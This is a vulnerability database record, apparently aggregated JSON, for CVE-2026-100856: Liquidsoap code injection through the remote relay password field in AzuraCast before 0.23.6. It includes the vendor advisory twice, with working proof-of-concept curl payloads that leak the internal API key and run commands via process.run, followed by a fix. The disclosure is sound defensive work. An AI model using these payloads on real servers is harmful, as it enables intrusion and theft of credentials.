{"id":"CVE-2026-100856","aliases":["EUVD-2026-87821","GHSA-mvfp-2r94-2mw9","GHSA-q4ph-8x8g-95f8"],"status":"published","title":"AzuraCast before 0.23.6 Code Injection via Remote Relay Password","description":"AzuraCast before 0.23.6 contains a code injection vulnerability in the remote relay password field due to incomplete migration from the vulnerable cleanUpString method to toRawString. Attackers with RemoteRelays station permission can inject nested Liquidsoap interpolation syntax to execute arbitrary code in the Liquidsoap process, disclose internal API keys, or disrupt station operation.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00468,"percentile":0.4079,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-94"],"published":"2026-05-04T21:19:55Z","modified":"2026-10-28T02:31:08Z","fixes":[{"ecosystem":"Packagist","package":"azuracast/azuracast","fixed_in":["0.23.6"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"azuracast/azuracast","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.23.5"},{"fixed":"0.23.6"}]}]},{"source":"osv","ecosystem":"Packagist","package":"azuracast/azuracast","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.23.6"}]}],"versions":["0.10.0","0.10.1","0.10.2","0.10.3","0.10.4","0.11","0.11.1","0.11.2","0.12","0.12.1","0.12.2","0.12.3","0.12.4","0.13.0","0.14.0","0.14.1","0.15.0","0.15.1","0.15.2","0.16.0","0.16.1","0.17.0","0.17.1","0.17.2","0.17.3","0.17.4","0.17.5","0.17.6","0.17.7","0.18.0","0.18.1","0.18.2","0.18.3","0.18.5","0.19.0","0.19.1","0.19.2","0.19.3","0.19.4","0.19.5","0.19.6","0.19.7","0.20.0","0.20.1","0.20.2","0.20.3","0.20.4","0.21.0","0.22.0","0.22.1","0.23.0","0.23.1","0.23.2","0.23.3","0.23.4","0.23.5","0.3.1","0.3.2","0.3.3","0.5.0","0.6.0","0.8.0","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4","0.9.4.1","0.9.4.2","0.9.5","0.9.5.1","0.9.6","0.9.6.1","0.9.6.2","0.9.6.5","0.9.7","0.9.7.1","0.9.8","0.9.8.1","0.9.9"]}],"products":[{"vendor":"azuracast","product":"azuracast"}],"references":[{"url":"https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-q4ph-8x8g-95f8","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/azuracast-before-0.23.6-code-injection-via-remote-relay-password","tags":["third-party-advisory","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100856","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-mvfp-2r94-2mw9"},{"url":"https://github.com/AzuraCast/AzuraCast/commit/d6b8422fc2c36269df9d1adec89dfbba58828915","tags":["web"]},{"url":"https://github.com/advisories/GHSA-q4ph-8x8g-95f8"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/100xxx/CVE-2026-100856.json","tags":["advisory"]},{"url":"https://github.com/AzuraCast/AzuraCast","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-100856","title":"AzuraCast before 0.23.6 Code Injection via Remote Relay Password","description":"AzuraCast before 0.23.6 contains a code injection vulnerability in the remote relay password field due to incomplete migration from the vulnerable cleanUpString method to toRawString. Attackers with RemoteRelays station permission can inject nested Liquidsoap interpolation syntax to execute arbitrary code in the Liquidsoap process, disclose internal API keys, or disrupt station operation.","status":"published","published":"2026-09-27T01:28:47.778Z","modified":"2026-10-08T15:22:05.345Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:20:06.925367Z"}],"euvd":[{"id":"EUVD-2026-87821","description":"AzuraCast before 0.23.6 contains a code injection vulnerability in the remote relay password field due to incomplete migration from the vulnerable cleanUpString method to toRawString. Attackers with RemoteRelays station permission can inject nested Liquidsoap interpolation syntax to execute arbitrary code in the Liquidsoap process, disclose internal API keys, or disrupt station operation.","status":"published","published":"2026-09-27T01:28:47Z","modified":"2026-10-08T15:22:05Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T17:27:32.18003Z"}],"ghsa":[{"id":"GHSA-mvfp-2r94-2mw9","title":"AzuraCast before 0.23.6 contains a code injection vulnerability in the remote relay password...","description":"AzuraCast before 0.23.6 contains a code injection vulnerability in the remote relay password field due to incomplete migration from the vulnerable cleanUpString method to toRawString. Attackers with RemoteRelays station permission can inject nested Liquidsoap interpolation syntax to execute arbitrary code in the Liquidsoap process, disclose internal API keys, or disrupt station operation.","status":"published","published":"2026-09-27T03:31:05Z","modified":"2026-09-27T03:31:13Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:12:30.689958Z"},{"id":"GHSA-q4ph-8x8g-95f8","title":"AzuraCast Vulnerable to Liquidsoap Code Injection via Incomplete cleanUpString-to-toRawString Migration in Remote Relay Password Field","description":"## Summary\n\nThe `cleanUpString()` method in `ConfigWriter.php` uses an ungreedy regex to strip Liquidsoap string interpolation patterns (`#{...}`) from user input. This regex can be bypassed via nested interpolation syntax (`#{#{EXPR}}`), allowing injection of arbitrary Liquidsoap code. Commit `ff49ef4` migrated most user-controlled fields to the safe `toRawString()` method but left the remote relay password field using the vulnerable `cleanUpString()`. A user with the `RemoteRelays` station permission can achieve arbitrary code execution in the Liquidsoap process, leak internal API keys, or disrupt station operation.\n\n## Details\n\n### The Vulnerable Sanitizer\n\n`cleanUpString()` at `backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php:1349-1367`:\n\n```php\npublic static function cleanUpString(?string $string): string\n{\n    $string = str_replace(['\"', \"\\n\", \"\\r\"], ['\\'', '', ''], $string ?? '');\n\n    // Remove strings that are interpolated\n    $string = preg_replace(\n        '/#{(.*)}/U',   // Ungreedy: matches minimum chars to first }\n        '$1',\n        $string\n    );\n\n    $string = preg_replace(\n        '/\\$\\((.*)\\)/U',\n        '$1',\n        $string ?? ''\n    );\n\n    return $string ?? '';\n}\n```\n\nThe `/U` (ungreedy) flag causes `.*` to match the **minimum** characters until the first `}`. With nested input `#{#{EXPR}}`:\n\n1. Regex finds `#{` at position 0\n2. Ungreedy `.*` matches `#{EXPR` (stops at the **first** `}`)\n3. Full match consumed: `#{#{EXPR}` — replacement with capture group `$1` yields: `#{EXPR`\n4. The trailing `}` is appended by the regex engine (it was outside the match)\n5. **Final result: `#{EXPR}`** — a valid Liquidsoap string interpolation expression\n\n### The Incomplete Patch\n\nCommit `ff49ef4` (\"Use raw strings for user-input strings to avoid interpolation\", 2026-03-06) correctly migrated host, username, mount, name, description, genre, and URL fields to `toRawString()`. However, the password field was left using `cleanUpString()`:\n\n`ConfigWriter.php:1208-1215`:\n```php\n$password = self::cleanUpString($source-\u003epassword);  // Still vulnerable\n\n$adapterType = $source-\u003eadapterType;\nif (FrontendAdapters::Shoutcast === $adapterType) {\n    $password .= ':#' . $id;\n}\n\n$outputParams[] = 'password = \"' . $password . '\"';  // Double-quoted = interpolated\n```\n\nThe password is embedded in a Liquidsoap **double-quoted string**, which evaluates `#{...}` interpolation expressions.\n\n### Why toRawString() Is Safe\n\n`toRawString()` uses Liquidsoap raw string delimiters (`{str_xxxxx|...|str_xxxxx}`) which **do not perform interpolation**, making them immune to this attack class.\n\n### The Input Path\n\n1. Attacker sends `PUT /api/station/{station_id}/remote/{id}` with `source_password` containing the nested payload\n2. Entity setter truncates to 100 chars via `mb_substr` (payloads fit within this limit)\n3. No validation on password content\n4. On station config regeneration, `ConfigWriter::getOutputString()` calls `cleanUpString()` on the password\n5. Bypass produces valid interpolation, embedded in double-quoted Liquidsoap string\n6. Liquidsoap evaluates the interpolation when loading the config\n\n## PoC\n\n### Step 1: API Key Disclosure (38 chars)\n\n```bash\n# Set malicious password on an existing remote relay\ncurl -X PUT \"http://azuracast.local/api/station/1/remote/1\" \\\n  -H \"X-API-Key: $API_KEY\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"source_password\": \"#{#{settings.azuracast.api_key()}}\"}'\n```\n\nAfter `cleanUpString()` processing, the password becomes `#{settings.azuracast.api_key()}`.\n\nWhen Liquidsoap loads the config, the generated line:\n```\npassword = \"#{settings.azuracast.api_key()}\"\n```\nevaluates to the internal API key value, which is then sent as the password to the remote relay server — observable by the attacker if they control the relay endpoint.\n\n### Step 2: Remote Code Execution (54 chars)\n\n```bash\n# RCE payload using string.char() to bypass quote filtering\ncurl -X PUT \"http://azuracast.local/api/station/1/remote/1\" \\\n  -H \"X-API-Key: $API_KEY\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"source_password\": \"#{#{process.run(string.char(105)^string.char(100))}}\"}'\n```\n\nAfter processing: `#{process.run(string.char(105)^string.char(100))}` → executes `id` command.\n\n`string.char()` and the `^` concatenation operator are used to build the command string without double quotes (which `cleanUpString` replaces with single quotes, and Liquidsoap doesn't support single-quoted strings).\n\n### Step 3: Trigger config regeneration\n\nRestart the station or modify any station setting to force Liquidsoap config regeneration. The payload executes when Liquidsoap loads the new config.\n\nThe same bypass works with `$($(EXPR))` via the second regex `/\\$\\((.*)\\)/U`.\n\n## Impact\n\n- **Arbitrary code execution** within the Liquidsoap process container via `process.run()`\n- **Internal API key disclosure** via `settings.azuracast.api_key()`, granting the attacker full internal API access to the station\n- **File read/write** within the Liquidsoap container via Liquidsoap's file operations\n- **Station disruption** — malicious config can crash the Liquidsoap process\n- **Low privilege bar** — requires only the `RemoteRelays` station permission, not global admin\n\n## Recommended Fix\n\nReplace `cleanUpString()` with `toRawString()` for the password field, consistent with the fix applied to all other fields in commit `ff49ef4`. The Shoutcast suffix append needs adjustment to work with raw strings:\n\n```php\n// Before (vulnerable):\n$password = self::cleanUpString($source-\u003epassword);\n$adapterType = $source-\u003eadapterType;\nif (FrontendAdapters::Shoutcast === $adapterType) {\n    $password .= ':#' . $id;\n}\n$outputParams[] = 'password = \"' . $password . '\"';\n\n// After (safe):\n$password = $source-\u003epassword ?? '';\n$adapterType = $source-\u003eadapterType;\nif (FrontendAdapters::Shoutcast === $adapterType) {\n    $password .= ':#' . $id;\n}\n$outputParams[] = 'password = ' . self::toRawString($password);\n```\n\nThis uses the raw string delimiter which prevents all interpolation, matching the approach already used for host, username, mount, and all other user-controlled fields.\n\nAdditionally, consider removing `cleanUpString()` entirely or marking it as deprecated, since `toRawString()` is the correct approach for all Liquidsoap string values. Any remaining callers should be migrated.","status":"published","published":"2026-05-04T21:19:55Z","modified":"2026-05-04T21:19:55Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:40:00.970271Z"}],"nvd":[{"id":"CVE-2026-100856","description":"AzuraCast before 0.23.6 contains a code injection vulnerability in the remote relay password field due to incomplete migration from the vulnerable cleanUpString method to toRawString. Attackers with RemoteRelays station permission can inject nested Liquidsoap interpolation syntax to execute arbitrary code in the Liquidsoap process, disclose internal API keys, or disrupt station operation.","status":"published","published":"2026-09-27T02:17:25.05Z","modified":"2026-10-08T16:17:00.497Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:12:52.081323Z"}],"osv":[{"id":"CVE-2026-100856","title":"AzuraCast before 0.23.6 Code Injection via Remote Relay Password","description":"AzuraCast before 0.23.6 contains a code injection vulnerability in the remote relay password field due to incomplete migration from the vulnerable cleanUpString method to toRawString. Attackers with RemoteRelays station permission can inject nested Liquidsoap interpolation syntax to execute arbitrary code in the Liquidsoap process, disclose internal API keys, or disrupt station operation.","status":"published","published":"2026-09-27T01:28:47.778Z","modified":"2026-10-28T02:31:08.022790016Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:44:53.83521Z"},{"id":"GHSA-q4ph-8x8g-95f8","title":"AzuraCast Vulnerable to Liquidsoap Code Injection via Incomplete cleanUpString-to-toRawString Migration in Remote Relay Password Field","description":"## Summary\n\nThe `cleanUpString()` method in `ConfigWriter.php` uses an ungreedy regex to strip Liquidsoap string interpolation patterns (`#{...}`) from user input. This regex can be bypassed via nested interpolation syntax (`#{#{EXPR}}`), allowing injection of arbitrary Liquidsoap code. Commit `ff49ef4` migrated most user-controlled fields to the safe `toRawString()` method but left the remote relay password field using the vulnerable `cleanUpString()`. A user with the `RemoteRelays` station permission can achieve arbitrary code execution in the Liquidsoap process, leak internal API keys, or disrupt station operation.\n\n## Details\n\n### The Vulnerable Sanitizer\n\n`cleanUpString()` at `backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php:1349-1367`:\n\n```php\npublic static function cleanUpString(?string $string): string\n{\n    $string = str_replace(['\"', \"\\n\", \"\\r\"], ['\\'', '', ''], $string ?? '');\n\n    // Remove strings that are interpolated\n    $string = preg_replace(\n        '/#{(.*)}/U',   // Ungreedy: matches minimum chars to first }\n        '$1',\n        $string\n    );\n\n    $string = preg_replace(\n        '/\\$\\((.*)\\)/U',\n        '$1',\n        $string ?? ''\n    );\n\n    return $string ?? '';\n}\n```\n\nThe `/U` (ungreedy) flag causes `.*` to match the **minimum** characters until the first `}`. With nested input `#{#{EXPR}}`:\n\n1. Regex finds `#{` at position 0\n2. Ungreedy `.*` matches `#{EXPR` (stops at the **first** `}`)\n3. Full match consumed: `#{#{EXPR}` — replacement with capture group `$1` yields: `#{EXPR`\n4. The trailing `}` is appended by the regex engine (it was outside the match)\n5. **Final result: `#{EXPR}`** — a valid Liquidsoap string interpolation expression\n\n### The Incomplete Patch\n\nCommit `ff49ef4` (\"Use raw strings for user-input strings to avoid interpolation\", 2026-03-06) correctly migrated host, username, mount, name, description, genre, and URL fields to `toRawString()`. However, the password field was left using `cleanUpString()`:\n\n`ConfigWriter.php:1208-1215`:\n```php\n$password = self::cleanUpString($source-\u003epassword);  // Still vulnerable\n\n$adapterType = $source-\u003eadapterType;\nif (FrontendAdapters::Shoutcast === $adapterType) {\n    $password .= ':#' . $id;\n}\n\n$outputParams[] = 'password = \"' . $password . '\"';  // Double-quoted = interpolated\n```\n\nThe password is embedded in a Liquidsoap **double-quoted string**, which evaluates `#{...}` interpolation expressions.\n\n### Why toRawString() Is Safe\n\n`toRawString()` uses Liquidsoap raw string delimiters (`{str_xxxxx|...|str_xxxxx}`) which **do not perform interpolation**, making them immune to this attack class.\n\n### The Input Path\n\n1. Attacker sends `PUT /api/station/{station_id}/remote/{id}` with `source_password` containing the nested payload\n2. Entity setter truncates to 100 chars via `mb_substr` (payloads fit within this limit)\n3. No validation on password content\n4. On station config regeneration, `ConfigWriter::getOutputString()` calls `cleanUpString()` on the password\n5. Bypass produces valid interpolation, embedded in double-quoted Liquidsoap string\n6. Liquidsoap evaluates the interpolation when loading the config\n\n## PoC\n\n### Step 1: API Key Disclosure (38 chars)\n\n```bash\n# Set malicious password on an existing remote relay\ncurl -X PUT \"http://azuracast.local/api/station/1/remote/1\" \\\n  -H \"X-API-Key: $API_KEY\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"source_password\": \"#{#{settings.azuracast.api_key()}}\"}'\n```\n\nAfter `cleanUpString()` processing, the password becomes `#{settings.azuracast.api_key()}`.\n\nWhen Liquidsoap loads the config, the generated line:\n```\npassword = \"#{settings.azuracast.api_key()}\"\n```\nevaluates to the internal API key value, which is then sent as the password to the remote relay server — observable by the attacker if they control the relay endpoint.\n\n### Step 2: Remote Code Execution (54 chars)\n\n```bash\n# RCE payload using string.char() to bypass quote filtering\ncurl -X PUT \"http://azuracast.local/api/station/1/remote/1\" \\\n  -H \"X-API-Key: $API_KEY\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"source_password\": \"#{#{process.run(string.char(105)^string.char(100))}}\"}'\n```\n\nAfter processing: `#{process.run(string.char(105)^string.char(100))}` → executes `id` command.\n\n`string.char()` and the `^` concatenation operator are used to build the command string without double quotes (which `cleanUpString` replaces with single quotes, and Liquidsoap doesn't support single-quoted strings).\n\n### Step 3: Trigger config regeneration\n\nRestart the station or modify any station setting to force Liquidsoap config regeneration. The payload executes when Liquidsoap loads the new config.\n\nThe same bypass works with `$($(EXPR))` via the second regex `/\\$\\((.*)\\)/U`.\n\n## Impact\n\n- **Arbitrary code execution** within the Liquidsoap process container via `process.run()`\n- **Internal API key disclosure** via `settings.azuracast.api_key()`, granting the attacker full internal API access to the station\n- **File read/write** within the Liquidsoap container via Liquidsoap's file operations\n- **Station disruption** — malicious config can crash the Liquidsoap process\n- **Low privilege bar** — requires only the `RemoteRelays` station permission, not global admin\n\n## Recommended Fix\n\nReplace `cleanUpString()` with `toRawString()` for the password field, consistent with the fix applied to all other fields in commit `ff49ef4`. The Shoutcast suffix append needs adjustment to work with raw strings:\n\n```php\n// Before (vulnerable):\n$password = self::cleanUpString($source-\u003epassword);\n$adapterType = $source-\u003eadapterType;\nif (FrontendAdapters::Shoutcast === $adapterType) {\n    $password .= ':#' . $id;\n}\n$outputParams[] = 'password = \"' . $password . '\"';\n\n// After (safe):\n$password = $source-\u003epassword ?? '';\n$adapterType = $source-\u003eadapterType;\nif (FrontendAdapters::Shoutcast === $adapterType) {\n    $password .= ':#' . $id;\n}\n$outputParams[] = 'password = ' . self::toRawString($password);\n```\n\nThis uses the raw string delimiter which prevents all interpolation, matching the approach already used for host, username, mount, and all other user-controlled fields.\n\nAdditionally, consider removing `cleanUpString()` entirely or marking it as deprecated, since `toRawString()` is the correct approach for all Liquidsoap string values. Any remaining callers should be migrated.","status":"published","published":"2026-05-04T21:19:55Z","modified":"2026-09-27T11:56:09.740742185Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:54.055966Z"}]}}
